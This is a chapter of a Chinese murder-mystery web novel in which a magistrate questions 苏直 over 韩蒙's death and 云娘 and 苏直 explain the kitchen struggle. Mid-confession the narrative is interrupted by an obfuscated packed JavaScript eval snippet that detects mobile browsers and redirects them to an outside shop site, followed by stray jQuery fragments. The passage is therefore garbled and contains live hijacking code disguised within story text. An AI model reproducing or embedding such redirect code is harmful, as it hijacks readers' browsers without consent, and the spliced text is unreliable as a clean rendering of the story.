16.风月恶
    西砚脸惨白惨白的,“苏大哥他,昨晚上回来的时候手好像受伤了,他说是他弄菜的时候被油烫到了。

    至于衣服,是湿的,说是在厨房那段路,淋了些雨。”

    提起菜,西砚又忍不住吐起来。

    “这件事,还得找路知县说说才行。”洛麟川提议道。

    “对的,我刚刚才看见那些捕快还在审清水庵的小厮呢,还有一些客人也在问,就是隔壁开赌坊的那位。”

    殷拾岄默然,昨夜去过的肯定不止之前那几个,毕竟苏直就不在证词条中被提及,但是如今有了官府插手,

    必然会让一些不肯开口的人开口——哪怕,是被动的开口。

    这就是权力,钱撬不开的口,权力可以。

    夜深,月亮跳上枝头。

    路冠禅便捉了苏直。

    大厅扮作刑堂的样子,路冠禅高坐案首,一拍木板,充作惊堂木,“大胆苏直,从实招来!如何杀死韩蒙的!”

    苏直跪伏于堂下,四周是路冠禅带来的捕快们,如今的大厅灯火通明,看起来和昨夜一样,气氛却全然不同,同时被逮着的还有几个赌坊冯老板的手下。

    “经过本官审问,之前去过茅房的,还有几人!

    之前四人是因为两两成双,有人可以作证,所以也大胆承认自己去过,剩下的嘛,都是独身前往。

    被绑着的这几位,都是去过的,从旁人的证词中被本官发现,但是本人却未坦诚过这件事的。

    分别是脚夫向一、租客何大、冯老板手下的阿四,他们的确是去过,不过,他们仨几乎整晚都泡在赌局里面,中途离开不过片刻时间,

    又很快跑回来赌,这也可以由清水庵的伙计和赌局的伙计侧面的证词印证。

    阿四本就是摇骰子的,根本不可能在久离,离开最多一炷香的时间,尚来不及杀人。

    同时,向一、何大都有相识的伙伴与他们同在一个赌局里,据他们同伴的交代,向一只缺席了一次下注的时间,

    向一自己也说是小跑着去的,因为他当晚赌运不错,不敢离开,实在是忍到最后才跑去的;

    而何大,稍微久一点,他让伙伴帮他下注,一直赌大,他的伙伴说他帮他下了两次注,也不过一盏茶的时间而已。”

    “他们几人的嫌疑较小,是因为他们没有足够的时间完成对死者做的事情。

    凶手缺时间,但是这几位嫌疑人,更没有时间。”

    路冠禅淡淡叙述,他原以为能从对韩寄等人的审问中得到凶手对韩蒙下手的动机,可是在他们的故事里,根本没有苏直的故事,

    繁宜虽值得深挖,可是她如今也不会再继续吐口了。

    真是奇怪,杀死一个人,竟找不到理由?

    是被藏起了吗?为了什么?

    “其实你的动向并不难找到,只是需要花费一些时间厘清,”

    路冠禅看着苏直说道,“你并未太刻意的隐藏自己的行踪,又或者一切对你来说发生得太快,没法隐藏,才有了陈安遇见你从厨房出来,

    才有了你让他陪同你去大厅,才有了之后你选择弃尸茅房的行为。”

    “更何况,已经找到了你昨天穿的衣服,衣服上的腰带痕迹,与死者脖子上的痕迹完全一致!你的手上是什么伤?”

    路冠禅眼神示意,捕快便按住苏直,扯开他的衣袖,手臂上的赫然不是什么烫伤,正是抓伤!

    殷拾岄叹口气,如果之前还有一分存疑的话,那如今这些就是铁证。

    捕快们松开苏直,苏直则低着头,沉默不语。

    “韩蒙是个读书人,有一尺七的身高,尽管如此一般女子是无这个力气能活活勒死他的。

    而在所有到过茅厕的人,只有冯老板的两个手下冯二冯三、苏直、何大四人,身高一尺八有余、且身强力壮,有可能实施这一行为。”

    路冠禅继续道。

    “你为什么杀我阿弟,为什么?”

    韩寄想冲上去打苏直。本来有衙役拦着,路冠禅眼神示意他们不必拦,于是韩寄直接冲上去对苏直拳打脚踢,

    可惜他也是个文弱书生,苏直悍然不动,任他打骂。

    “够了,够了,”

    云娘闭上眼,一行清泪流下来,似在忍受极大的痛苦,嘴唇轻轻颤抖,最后还是睁开了眼睛,对路冠禅福身,

    “他是为了我。”

    路冠禅才让衙役拦住韩寄,苏直也抬起头来,直直盯着云娘,“与你有什么关系,不干你的事情!”

    “大人,还记得易活吗?

    奴昨夜因着开了赌局,便不敢早睡,也让下面的伙计都警觉些,谁知前半夜倒是无什么事,约莫子时(11点)的时候,却闹起事来,

    奴无法,只得下楼去协商,之后奴便想做些宵夜来,他们这个时间也容易饿,又能挣一点银子。

    可那张厨子虽是醒着的,却又一直在后院的茅厕里面,他那人节俭,非得将剩菜吃了,奴也劝过他不要了,这下又闹肚子了。”

    回想起那夜,云娘叹口气,“奴之前在厨房做过工,便想着自己做点宵夜罢了。

    谁知到了厨房,却发现锅里正煮着易活的菌汤,奴大吃一惊,就想用勺子将易活捞出来,没捞几次,却被人从后面捂住了口鼻,

    奴那时根本不知道是谁,却也好巧,前面传来脚步声,韩蒙又带着奴躲到柴火堆,因着奴来的时候点燃了蜡烛,

    那时苏大哥便开始问,有人没有,奴好似见到了希望,开始拼命挣扎,苏大哥也终于发现了动静,

    然后韩蒙便挟持着奴威胁苏大哥,因为他拿着一把菜刀架在奴的脖子上,苏大哥也答应他说不会将今夜的事情说出去。

    奴本以为事情就这样结束了。”云娘苦笑。

    苏直深深望着云娘,“还是俺来说吧。

    俺那时不知道发生了什么,只想赶快救下云娘,韩蒙刀刚放下,俺就赶快把云娘拉过来,

    可恨俺生了个狗鼻子,之前一直没注意,那时却闻见了,俺就下意识往锅里一看,竟是易活,那菌汤喝了会出事的呀,

    韩蒙好像注意到了俺的神色,就提起刀向俺砍来,俺就只好和他打起来了,还被他砍伤了,他趁机往云娘的方向扑去,云娘就一直在躲,”

    苏直掩面,满眼懊悔,“俺害怕他伤害云娘,就去拦住他,俺没工具,只能用手勒住他的脖子,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14193061|150561||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    他也挣扎得很厉害,那刀也乱砍向俺,俺也中了两刀,”

    苏直抱住头,一直摇头,神情痛苦,“俺也不知是不是昏头了,就扯下裤腰带去勒他。

    后来是云娘一直在摇俺,她想要俺松手,可是等俺真的松开的时候,发现韩蒙已经死了。”

    云娘也哭着说,“苏大哥,都怪我,都怪我,要是我能拦下你就好了,要是我当时没去厨房就好了,要是这一切都没发生好了,呜呜呜——”

    殷拾岄皱眉,略带审视的瞧着二人,太巧了,刚好韩蒙偷摸煮汤,刚好云娘进来,刚好云娘和苏直都知道韩蒙煮的什么汤,又刚好苏直撞见云娘被韩蒙挟制。

    而韩蒙,只凭一个表情,就断定苏直知道?

    看见云娘捞出易活,就觉得云娘知情?

    可就算他们二人都知道,韩蒙也不曾下手,繁宜也没有死,对他的影响不过是以后不能再用这个方法杀繁宜罢了,何至于要在当时与二人闹开?

    又怎么会那般不自量力的以一敌二,就算他手上有刀,苏直的体格也不会让韩蒙畏惧一下?

    他们二人口中描述的韩蒙,真真像是失了心智,就算云娘知道那是易活,韩蒙当时也大可说不知情易活的效用呀,

    他何必跳出来捂住云娘的口鼻?

    而且死因......

    路冠禅也有此想,厉喝道,“大胆,事到如今竟还有隐瞒?!”

    云娘身体抖了抖,苏直咬紧嘴唇,“就是俺干的,大人还想问什么,他死了是罪有应得!”

    “好,本官问你为何杀死韩蒙之后还要再砍他十七刀,又为何要对他进行阉割?”

    “大人只需要知道,他是罪有应得!”苏直不答,只咬死这句话。

    殷拾岄看着云娘微微颤抖的身体,不觉有另外一个猜想,或许这才是苏直最后愤怒到难以自制的原因,

    苏直本就对云娘有情丝,而自己喜欢的女子被他人欺辱,那人就在眼前——

    韩蒙不是出于灭口,而是出于自卫,因为他面对的是一个愤怒的男人,一头愤怒的野兽。

    他们之前那段话不过是为了全云娘的名声有真有假的编造而已。

    他认罪,不过是不想再深挖下去罢了。

    路冠禅沉默片刻,最后问,“你是何时杀的他,何时处理的尸体?”

    苏直回答,“俺听到一楼在闹事,怕他们打起来伤害到云娘,就借口下楼去保护云娘,之后事情平息了,

    俺看见云娘朝后院走去,多半是休息去了,本也想上去了,不过走到门口的时候想起来俺跟西砚说俺肚子饿了去找吃的,他也让俺给他带些,

    想着俺要是空手回去也不好,就想着俺自己做,不过俺不知道哪里去找食材,就问了一楼的小二,小二说子时都过了,厨子都睡了,

    只能去厨房找找还有剩菜没有被倒掉,于是俺就去了厨房。”

    殷拾岄凝眉,若是如此,前后脚倒也说得过去,苏直一直关注着云娘的安危,却也阴差阳错又一次保护了云娘,

    不过若是如此,韩蒙应当还未来得及对云娘做什么,而且,在预备杀人的档口,韩蒙当真有心思行风月之事吗???